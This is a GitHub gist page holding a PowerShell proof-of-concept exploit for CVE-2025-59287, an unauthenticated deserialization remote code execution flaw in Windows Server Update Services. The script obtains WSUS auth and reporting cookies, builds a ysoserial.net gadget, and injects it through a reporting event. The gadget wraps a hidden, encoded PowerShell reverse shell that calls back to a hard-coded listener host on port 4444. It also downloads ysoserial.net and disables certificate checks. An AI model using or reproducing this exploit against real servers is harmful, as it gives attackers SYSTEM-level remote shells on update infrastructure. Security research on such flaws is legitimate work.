Last active
November 3, 2025 17:23
-
-
Save bobby-tablez/20fcaa32ec4bcec0c7c6a5bc2b12f371 to your computer and use it in GitHub Desktop.
WSUS-POC for CVE-2025-59287
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Disable SSL certificate validation for lab environment | |
| [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} | |
| # ORIGINAL CODE /CREDITS: https://hawktrace.com/blog/CVE-2025-59287-UNAUTH | |
| function Get-AuthCookie { | |
| param( | |
| [string]$Target, | |
| [string]$ServerId = $null | |
| ) | |
| $url = "$Target/SimpleAuthWebService/SimpleAuth.asmx" | |
| $headers = @{ | |
| 'SOAPAction' = '"http://www.microsoft.com/SoftwareDistribution/Server/SimpleAuthWebService/GetAuthorizationCookie"' | |
| 'Content-Type' = 'text/xml' | |
| } | |
| if (-not $ServerId) { | |
| $ServerId = [System.Guid]::NewGuid().ToString() | |
| } | |
| $soapBody = @" | |
| <?xml version="1.0" encoding="utf-8"?> | |
| <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> | |
| <soap:Body> | |
| <GetAuthorizationCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/SimpleAuthWebService"> | |
| <clientId>$ServerId</clientId> | |
| <targetGroupName></targetGroupName> | |
| <dnsName>hawktrace.local</dnsName> | |
| </GetAuthorizationCookie> | |
| </soap:Body> | |
| </soap:Envelope> | |
| "@ | |
| try { | |
| $response = Invoke-WebRequest -Uri $url -Method POST -Body $soapBody -Headers $headers -TimeoutSec 30 | |
| if ($response.StatusCode -eq 200) { | |
| [xml]$xmlResponse = $response.Content | |
| $cookieNode = $xmlResponse.SelectSingleNode("//*[local-name()='CookieData']") | |
| if ($cookieNode -and $cookieNode.InnerText) { | |
| Write-Host "[+] Using ID: $ServerId" -ForegroundColor Green | |
| return $cookieNode.InnerText | |
| } | |
| } | |
| } | |
| catch { | |
| Write-Host "[-] Auth cookie error: $($_.Exception.Message)" -ForegroundColor Red | |
| } | |
| return $null | |
| } | |
| function Get-ServerId { | |
| param([string]$Target) | |
| $url = "$Target/ReportingWebService/ReportingWebService.asmx" | |
| $headers = @{ | |
| 'SOAPAction' = '"http://www.microsoft.com/SoftwareDistribution/GetRollupConfiguration"' | |
| 'Content-Type' = 'text/xml' | |
| } | |
| $soapBody = @" | |
| <?xml version="1.0" encoding="utf-8"?> | |
| <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> | |
| <soap:Body> | |
| <GetRollupConfiguration xmlns="http://www.microsoft.com/SoftwareDistribution"> | |
| <cookie xmlns:i="http://www.w3.org/2001/XMLSchema-instance" i:nil="true"/> | |
| </GetRollupConfiguration> | |
| </soap:Body> | |
| </soap:Envelope> | |
| "@ | |
| try { | |
| $response = Invoke-WebRequest -Uri $url -Method POST -Body $soapBody -Headers $headers -TimeoutSec 30 | |
| if ($response.StatusCode -eq 200) { | |
| [xml]$xmlResponse = $response.Content | |
| $serverNode = $xmlResponse.SelectSingleNode("//*[local-name()='ServerId']") | |
| if ($serverNode -and $serverNode.InnerText) { | |
| Write-Host "[+] Server ID: $($serverNode.InnerText)" -ForegroundColor Green | |
| return $serverNode.InnerText | |
| } | |
| } | |
| } | |
| catch { | |
| Write-Host "[-] Server ID error: $($_.Exception.Message)" -ForegroundColor Red | |
| } | |
| $fallbackId = [System.Guid]::NewGuid().ToString() | |
| Write-Host "[!] Using fallback ID: $fallbackId" -ForegroundColor Yellow | |
| return $fallbackId | |
| } | |
| function Get-ReportingCookie { | |
| param( | |
| [string]$Target, | |
| [string]$AuthCookie | |
| ) | |
| $url = "$Target/ClientWebService/Client.asmx" | |
| $headers = @{ | |
| 'SOAPAction' = '"http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie"' | |
| 'Content-Type' = 'text/xml' | |
| } | |
| $timeNow = (Get-Date).ToUniversalTime().ToString("yyyy-MM-ddTHH:mm:ssZ") | |
| $soapBody = @" | |
| <?xml version="1.0" encoding="utf-8"?> | |
| <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> | |
| <soap:Body> | |
| <GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService"> | |
| <authCookies> | |
| <AuthorizationCookie> | |
| <PlugInId>SimpleTargeting</PlugInId> | |
| <CookieData>$AuthCookie</CookieData> | |
| </AuthorizationCookie> | |
| </authCookies> | |
| <oldCookie xmlns:i="http://www.w3.org/2001/XMLSchema-instance" i:nil="true"/> | |
| <lastChange>$timeNow</lastChange> | |
| <currentTime>$timeNow</currentTime> | |
| <protocolVersion>1.20</protocolVersion> | |
| </GetCookie> | |
| </soap:Body> | |
| </soap:Envelope> | |
| "@ | |
| try { | |
| $response = Invoke-WebRequest -Uri $url -Method POST -Body $soapBody -Headers $headers -TimeoutSec 30 | |
| if ($response.StatusCode -eq 200) { | |
| [xml]$xmlResponse = $response.Content | |
| $cookieData = @{} | |
| $expirationNode = $xmlResponse.SelectSingleNode("//*[local-name()='Expiration']") | |
| if ($expirationNode) { | |
| $cookieData['expiration'] = $expirationNode.InnerText | |
| } | |
| $encryptedDataNode = $xmlResponse.SelectSingleNode("//*[local-name()='EncryptedData']") | |
| if ($encryptedDataNode) { | |
| $cookieData['encrypted_data'] = $encryptedDataNode.InnerText | |
| return $cookieData | |
| } | |
| } | |
| } | |
| catch { | |
| # Silently continue on error | |
| } | |
| return $null | |
| } | |
| function Send-MaliciousEvent { | |
| param( | |
| [string]$Target, | |
| [hashtable]$Cookie, | |
| [string]$Payload | |
| ) | |
| $url = "$Target/ReportingWebService/ReportingWebService.asmx" | |
| $targetSid = [System.Guid]::NewGuid().ToString() | |
| $eventInstanceId = [System.Guid]::NewGuid().ToString() | |
| $timeNow = (Get-Date).ToUniversalTime().ToString("yyyy-MM-ddTHH:mm:ss.fff") | |
| # YSOSerial payload for calc.exe (base64 encoded) | |
| $popCalc = '<SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><a1:DataSet id="ref-1" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/System.Data/System.Data%2C%20Version%3D4.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3Db77a5c561934e089"><DataSet.RemotingFormat xsi:type="a1:SerializationFormat" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/System.Data/System.Data%2C%20Version%3D4.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3Db77a5c561934e089">Binary</DataSet.RemotingFormat><DataSet.DataSetName id="ref-3"></DataSet.DataSetName><DataSet.Namespace href="#ref-3"/><DataSet.Prefix href="#ref-3"/><DataSet.CaseSensitive>false</DataSet.CaseSensitive><DataSet.LocaleLCID>1033</DataSet.LocaleLCID><DataSet.EnforceConstraints>false</DataSet.EnforceConstraints><DataSet.ExtendedProperties xsi:type="xsd:anyType" xsi:null="1"/><DataSet.Tables.Count>1</DataSet.Tables.Count><DataSet.Tables_0 href="#ref-4"/></a1:DataSet><SOAP-ENC:Array id="ref-4" xsi:type="SOAP-ENC:base64">' + $payload + '</SOAP-ENC:Array></SOAP-ENV:Body></SOAP-ENV:Envelope>' | |
| # XML escape the payload | |
| $escapedPayload = [System.Security.SecurityElement]::Escape($popCalc) | |
| $soapBody = @" | |
| <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"> | |
| <soap:Body> | |
| <ReportEventBatch xmlns="http://www.microsoft.com/SoftwareDistribution"> | |
| <cookie> | |
| <Expiration>$($Cookie['expiration'])</Expiration> | |
| <EncryptedData>$($Cookie['encrypted_data'])</EncryptedData> | |
| </cookie> | |
| <clientTime>$timeNow</clientTime> | |
| <eventBatch xmlns:q1="http://www.microsoft.com/SoftwareDistribution" soapenc:arrayType="q1:ReportingEvent[1]"> | |
| <ReportingEvent> | |
| <BasicData> | |
| <TargetID> | |
| <Sid>$targetSid</Sid> | |
| </TargetID> | |
| <SequenceNumber>0</SequenceNumber> | |
| <TimeAtTarget>$timeNow</TimeAtTarget> | |
| <EventInstanceID>$eventInstanceId</EventInstanceID> | |
| <NamespaceID>2</NamespaceID> | |
| <EventID>389</EventID> | |
| <SourceID>301</SourceID> | |
| <UpdateID> | |
| <UpdateID>00000000-0000-0000-0000-000000000000</UpdateID> | |
| <RevisionNumber>0</RevisionNumber> | |
| </UpdateID> | |
| <Win32HResult>0</Win32HResult> | |
| <AppName>LocalServer</AppName> | |
| </BasicData> | |
| <ExtendedData> | |
| <MiscData soapenc:arrayType="xsd:string[2]"> | |
| <string>Administrator=SYSTEM</string> | |
| <string>SynchronizationUpdateErrorsKey=$escapedPayload</string> | |
| </MiscData> | |
| </ExtendedData> | |
| <PrivateData> | |
| <ComputerDnsName></ComputerDnsName> | |
| <UserAccountName></UserAccountName> | |
| </PrivateData> | |
| </ReportingEvent> | |
| </eventBatch> | |
| </ReportEventBatch> | |
| </soap:Body> | |
| </soap:Envelope> | |
| "@ | |
| $targetHost = $Target -replace '^https?://', '' | |
| $headers = @{ | |
| 'Content-Type' = 'text/xml' | |
| 'Accept' = 'text/xml' | |
| 'User-Agent' = 'Windows-Update-Agent' | |
| 'SOAPAction' = '"http://www.microsoft.com/SoftwareDistribution/ReportEventBatch"' | |
| } | |
| try { | |
| $response = Invoke-WebRequest -Uri $url -Method POST -Body $soapBody -Headers $headers -TimeoutSec 30 | |
| if ($response.StatusCode -eq 200 -and $response.Content -like "*true*") { | |
| return @{ | |
| Success = $true | |
| EventId = $eventInstanceId | |
| TargetSid = $targetSid | |
| } | |
| } | |
| else { | |
| return @{ Success = $false } | |
| } | |
| } | |
| catch { | |
| Write-Host "[DEBUG] Exception: $($_.Exception.Message)" -ForegroundColor Red | |
| return @{ Success = $false } | |
| } | |
| } | |
| # Function to download and setup ysoserial.net | |
| function Get-YsoSerial { | |
| $ysoPath = ".\ysoserial\Release\ysoserial.exe" | |
| $ysoDir = ".\ysoserial" | |
| $downloadUrl = "https://github.com/pwntester/ysoserial.net/releases/download/v1.36/ysoserial-1dba9c4416ba6e79b6b262b758fa75e2ee9008e9.zip" | |
| $zipFile = "ysoserial.zip" | |
| # Check if ysoserial already exists | |
| if (Test-Path $ysoPath) { | |
| Write-Host "[+] YsoSerial found at $ysoPath" -ForegroundColor Green | |
| return $ysoPath | |
| } | |
| Write-Host "[!] YsoSerial not found, downloading..." -ForegroundColor Yellow | |
| try { | |
| # Create directory if it doesn't exist | |
| if (-not (Test-Path $ysoDir)) { | |
| New-Item -ItemType Directory -Path $ysoDir -Force | Out-Null | |
| } | |
| # Download the zip file | |
| Write-Host "[+] Downloading from GitHub releases..." -ForegroundColor Green | |
| Invoke-WebRequest -Uri $downloadUrl -OutFile $zipFile -UseBasicParsing | |
| # Extract the zip file | |
| Write-Host "[+] Extracting ysoserial..." -ForegroundColor Green | |
| Expand-Archive -Path $zipFile -DestinationPath $ysoDir -Force | |
| # Clean up zip file | |
| Remove-Item $zipFile -Force | |
| # Verify extraction | |
| if (Test-Path $ysoPath) { | |
| Write-Host "[+] YsoSerial successfully downloaded and extracted" -ForegroundColor Green | |
| return $ysoPath | |
| } else { | |
| throw "YsoSerial executable not found after extraction" | |
| } | |
| } | |
| catch { | |
| Write-Host "[-] Failed to download/extract ysoserial: $($_.Exception.Message)" -ForegroundColor Red | |
| Write-Host "[!] Please manually download and extract ysoserial.net to .\ysoserial\" -ForegroundColor Yellow | |
| exit 1 | |
| } | |
| } | |
| # Main execution | |
| Write-Host @" | |
| preparation: | |
| - start netcat on kali -> nc -lvnp 4444 | |
| - edit the lhost and lport variables in the script | |
| - edit targetURL in the script | |
| - run | |
| "@ -ForegroundColor Cyan | |
| # parameters | |
| $lhost = "54.150.23.151" # your kali netcat host | |
| $lport = 4444 | |
| $targetURL = "http://54.64.93.149:8530" # WSUS URL | |
| # powershell reverse shell | |
| Write-Host "[+] Generating YSO Blob..." -ForegroundColor Green | |
| $ps_payload = '$client = New-Object System.Net.Sockets.TCPClient(' + "'$lhost'" + ',' + $lport + ');$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + ' + "'PS '" + ' + (pwd).Path + ' + "'> '" + ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | |
| $ps_encoded = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($ps_payload)) | |
| # use ysoserial to generate base64 blob | |
| Write-Host "[+] Setting up YsoSerial.net..." -ForegroundColor Green | |
| $ysoPath = Get-YsoSerial | |
| Write-Host "[+] Generating malicious payload..." -ForegroundColor Green | |
| try { | |
| $output = & $ysoPath -g RolePrincipal -f BinaryFormatter -c "powershell.exe -NoP -NonI -W Hidden -Enc $ps_encoded" -o base64 | |
| if ($LASTEXITCODE -ne 0 -or -not $output) { | |
| throw "YsoSerial execution failed" | |
| } | |
| Write-Host "[+] Generated YSO blob successfully" -ForegroundColor Green | |
| Write-Host "Payload length: $($output.Length) characters" -ForegroundColor Cyan | |
| } | |
| catch { | |
| Write-Host "[-] Failed to generate payload: $($_.Exception.Message)" -ForegroundColor Red | |
| exit 1 | |
| } | |
| #Write-Host "Generated YSO blob: " | |
| #Write-Host $output | |
| Write-Host "" | |
| Write-Host "[+] Getting Server ID..." -ForegroundColor Green | |
| $serverId = Get-ServerId -Target $TargetUrl | |
| Write-Host "[+] Auth cookie with Server ID..." -ForegroundColor Green | |
| $authCookie = Get-AuthCookie -Target $TargetUrl -ServerId $serverId | |
| if (-not $authCookie) { | |
| Write-Host "[-] Failed to get auth cookie" -ForegroundColor Red | |
| exit 1 | |
| } | |
| $cookie = Get-ReportingCookie -Target $TargetUrl -AuthCookie $authCookie | |
| if (-not $cookie) { | |
| Write-Host "[-] Failed to get reporting cookie" -ForegroundColor Red | |
| exit 1 | |
| } | |
| Write-Host "[+] Sending event with payload..." -ForegroundColor Green | |
| $result = Send-MaliciousEvent -Target $TargetUrl -Cookie $cookie -Payload $output | |
| if ($result.Success) { | |
| Write-Host "[+] SUCCESS!" -ForegroundColor Green | |
| Write-Host "[!] RCE will trigger when you open the WSUS console!" -ForegroundColor Yellow | |
| Write-Host "[!] to cleanup remove the hawktrace.local computer from WSUS" -ForegroundColor Yellow | |
| } | |
| else { | |
| Write-Host "[-] Failed to send malicious event" -ForegroundColor Red | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment